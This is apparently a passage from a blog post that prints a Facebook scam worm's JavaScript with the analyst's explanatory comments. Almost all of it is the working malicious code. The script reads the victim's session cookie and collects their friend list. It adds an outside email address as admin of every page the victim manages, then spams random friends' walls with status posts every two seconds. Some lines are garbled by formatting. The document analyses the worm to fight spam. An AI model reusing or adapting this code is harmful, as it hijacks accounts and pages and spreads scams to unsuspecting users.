pfid = z.match(/name=”post_form_id” value=”([\d\w]+)”/i)[1];with(xx = new XMLHttpRequest())
open(“GET”, “/ajax/browser/friends/?uid=” +
document.cookie.match(/c_user=(\d+)/)[1] +
“&filter=all&__a=1&__d=1”),
onreadystatechange = function () {
//extracts list of friendsif (xx.readyState == 4 && xx.status == 200) {
m = xx.responseText.match(/\/\d+_\d+_\d+_q\.jpg/gi).join(“\n”).replace(/(\/\d+_|_\d+_q\.jpg)/gi, “”).split(“\n”);
//facebook returns list of friends images of the form of three numbers separated by _,
//the above regular expression extracts out the middle of the two
//(which infact is the userID of friend)
i = 0;
llimit=25;
t = setInterval(function () {
if (i >= llimit )
return;//it seems the limit is 25 posts per 2 seconds on facebook (to be counted as bot)
if(i == 0) {//do it only once
with(ddddd = new XMLHttpRequest()) open(“GET”, “/ajax/pages/dialog/manage_pages.php?__a=1&__d=1”),
setRequestHeader(“X-Requested-With”, null),
setRequestHeader(“X-Requested”, null),
onreadystatechange = function() {
if(ddddd.readyState == 4 && ddddd.status == 200) {
llm = (d = ddddd.responseText).match(/\\”id\\”:([\d]+)/gi); len =llm.length;
j=0;
for(j=0;j with(xxxcxxx = new XMLHttpRequest()) open(“POST”, “/pages/edit/?id=”+llm[j].replace(/\\”id\\”:/i, “”)
+”&sk=admin”),
setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”),
send(“post_form_id=”+pfid+”&fb_dtsg=”+dt+”&fbpage_id=”+llm[j].replace(/\\”id\\”:/i, “”)+
“&friendselector_input%5B%5D=miroantic%40net.hr%09&friend_selected%5B%5D=&save=1”);
//I am not very sure on this one but it seems it adds as admin of all pages the user holds
}
}
}, send(null); //end of function to change the admins
// this one collects cookie as well as the personalized status update email address
// (a photo sent to that address is posted on the wall directly)
}
//following code does status update
//the code writes message represented by txt and txtee alternately on the wall of friends.
//txt and txtee are same though (may be author’s mistake)
if(i%2==0)
{
with(xd = new XMLHttpRequest()) open(“POST”, “/ajax/updatestatus.php?__a=1”),
setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”),
send(“action=PROFILE_UPDATE&profile_id=” + document.cookie.match(/c_user=(\d+)/)[1] + “&status=” + txt +
“&target_id=” + m[Math.floor(Math.random() * m.length)] +
//m is an array of id of friends (was created early in the script exec), choose a random friend
“&composer_id=” +
“&hey_kid_im_a_composer=true&display_context=profile&post_form_id=” +form + “&fb_dtsg=” + dt +
//comp, form, dt are (probably) XSRF prevention tokens
“&lsd&_log_display_context=profile&ajax_log=1&post_form_id_source=AsyncRequest”);
}
else
{
with(xd = new XMLHttpRequest()) open(“POST”, “/ajax/updatestatus.php?__a=1”),
setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”),
send(“action=PROFILE_UPDATE&profile_id=” + document.cookie.match(/c_user=(\d+)/)[1] + “&status=” + txtee +
“&target_id=” + m[Math.floor(Math.random() * m.length)] + “&composer_id=”+
“&hey_kid_im_a_composer=true&display_context=profile&post_form_id=” + form + “&fb_dtsg=” + dt +
“&lsd&_log_display_context=profile&ajax_log=1&post_form_id_source=AsyncRequest”);
}
i += 1;
}, 2000);// 2000 milli-sec window, after which the script is executed again
}
}, send(null);
}
}, send(null);
The comments inside the script are self explanatory.
Tags: bot, Facebook, fight spam, javascript, scam, script, Serbian, spam, status update
